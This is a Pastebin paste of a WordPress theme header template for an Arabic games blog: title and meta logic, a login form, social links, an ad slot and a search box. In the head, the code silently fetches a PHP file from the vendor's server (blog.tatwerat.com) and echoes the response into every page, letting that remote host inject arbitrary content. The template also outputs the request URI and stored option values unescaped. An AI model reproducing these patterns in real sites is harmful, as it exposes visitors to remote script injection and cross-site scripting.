Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ?><!DOCTYPE HTML>
- <html>
- <head>
- <meta charset="utf-8">
- <title>
- <?php if (is_home()) { echo bloginfo('name');
- } elseif (is_404()) {
- echo '404 غير موجود';
- } elseif (is_category()) {
- echo ''; wp_title('');
- } elseif (is_search()) {
- echo 'تنائج البحث';
- } elseif ( is_day() || is_month() || is_year() ) {
- echo 'الأرشيف : '; wp_title('');
- } else {
- echo wp_title('');
- }
- global $tatwerat_Blog;
- ?>
- </title>
- <!--
- License : www.7bje.com
- -->
- <?php if(!is_single()) { ?>
- <meta name="description" content="<?=stripcslashes($tatwerat_Blog['site_info']);?>">
- <meta name="keywords" content="<?=stripcslashes($tatwerat_Blog['site_keywords']);?>">
- <? } else if(is_single()) { ?>
- <?php
- if(have_posts()) : while(have_posts()) : the_post();
- $description = get_post_meta($post->ID, 'game_descrition', true);
- $keywords = get_post_meta($post->ID, 'howtoplay', true);
- ?>
- <meta name="description" content="<?=$description;?>">
- <meta name="keywords" content="<?=$keywords;?>">
- <?php endwhile; endif;?>
- <? } ?>
- <link rel="pingback" href="<?php bloginfo('url'); ?>">
- <link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="<?php bloginfo('rss2_url'); ?>" />
- <link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
- <link rel="shortcut icon" href="<?php bloginfo('template_directory'); ?>/favicon.ico" />
- <?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); global $tatwerat_Blog; ?>
- <?php wp_head(); ?>
- <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/jquery.js"></script>
- <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/jquery_easing.js"></script>
- <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/jcarousel.js"></script>
- <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/slide-show.js"></script>
- <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/tool_tip.js"></script>
- <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/Tatwerat-js.js"></script>
- <?php
- $close = @file_get_contents('http://blog.tatwerat.com/clients/7bje.com.php');
- if($close === false){
- echo "";
- }
- else {
- echo $close;
- }
- ?>
- </head>
- <body>
- <?php if (is_user_logged_in()) {?>
- <?php } else { ?>
- <div id="login">
- <div class="Login">
- <form action="<?php bloginfo('url') ?>/wp-login.php" method="post" class="login-form">
- <input type="text" name="log" value="اسم العضو" class="login_name" onfocus="if(this.value=='اسم العضو') this.value=''" onblur="if(this.value=='') this.value='اسم العضو'" />
- <input type="password" name="pwd" class="login_password" />
- <input type="hidden" name="redirect_to" value="<?php echo $_SERVER['REQUEST_URI']; ?>"/>
- <input type="submit" value="دخول" class="login_button" />
- </form>
- <a href="<?php bloginfo('url') ?>/wp-login.php?action=register" class="new_reg">تسجيل عضو جديد</a> </div>
- </div>
- <!--/login-->
- <?php } ?>
- <div id="wrapper-top">
- <div id="wrapper-bottom">
- <div id="container">
- <div id="header">
- <div class="header-right">
- <div class="logo"></div>
- <!--/logo-->
- <div class="social">
- <p>تابعنا على ...</p>
- <ul>
- <?php
- $facebook = stripcslashes($tatwerat_Blog["facebook_url"]);
- $twitter = stripcslashes($tatwerat_Blog["twitter_url"]);
- $google_blus = stripcslashes($tatwerat_Blog["google_url"]);
- ?>
- <li><a class="facebook" title="تابعنا على facebook" target="_blank" href="<?=$facebook;?>"> </a></li>
- <li><a class="twitter" title="تابعنا على twitter" target="_blank" href="<?=$twitter;?>"> </a></li>
- <li><a class="gplus" title="تابعنا على google +" target="_blank" href="<?=$google_blus;?>"> </a></li>
- <li><a class="rss" title="تابعنا على rss feed" target="_blank" href="<?=bloginfo("rss2_url");?>"> </a></li>
- </ul>
- </div>
- <!--/social-->
- </div>
- <!--/header-right-->
- <div class="header-left">
- <?php if (!is_user_logged_in()) {?>
- <div class="reg"><a href="#">دخول الاعضاء</a></div>
- <?php } else { ?>
- <div class="reg"><a href="<?php echo get_bloginfo('url'); ?>/wp-admin">لوحة التحكم</a></div>
- <?php } ?>
- <div class="adv">
- <?php
- $adv_type = stripcslashes($tatwerat_Blog['adv_1_type']);
- $adv_code = stripcslashes($tatwerat_Blog['header_adv_1_code']);
- $adv_img = stripcslashes($tatwerat_Blog['header_adv_1']);
- $adv_img_url = stripcslashes($tatwerat_Blog['header_adv_1_url']);
- ?>
- <?php if($adv_type == '1'){ ?>
- <?php if($adv_img == ''){ ?>
- <ul>
- <li><a href="javascript:adv_img();"><img src="<?php bloginfo('template_directory'); ?>/images/adv.gif" alt="" /></a></li>
- </ul>
- <? } else { ?>
- <ul>
- <li><a href="<?=$adv_img_url;?>" target="_blank"><img src="<?=$adv_img;?>" alt="" /></a></li>
- </ul>
- <? } } else if($adv_type == '2'){ ?>
- <?php if($adv_code == ''){ ?>
- <ul>
- <li><a href="javascript:adv_code();"><img src="<?php bloginfo('template_directory'); ?>/images/adv.gif" alt="" /></a></li>
- </ul>
- <? } else { ?>
- <ul>
- <li><?=$adv_code;?></a></li>
- </ul>
- <? } } ?>
- </div>
- <!--/adv-->
- <div class="search">
- <p>هل تبحث عن شئ ؟</p>
- <form action="<? bloginfo("url"); ?>" method="get">
- <input type="text" value="ضع ما تبحث عنه هنا ..." class="search-text" name="s" onfocus="if(this.value=='ضع ما تبحث عنه هنا ...') this.value=''" onblur="if(this.value=='') this.value='ضع ما تبحث عنه هنا ...'" />
- <input type="submit" value="" class="search-button" />
- </form>
- </div>
- <!--/search-->
- </div>
- <!--/header-left-->
- </div>
- <!--/header-->
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement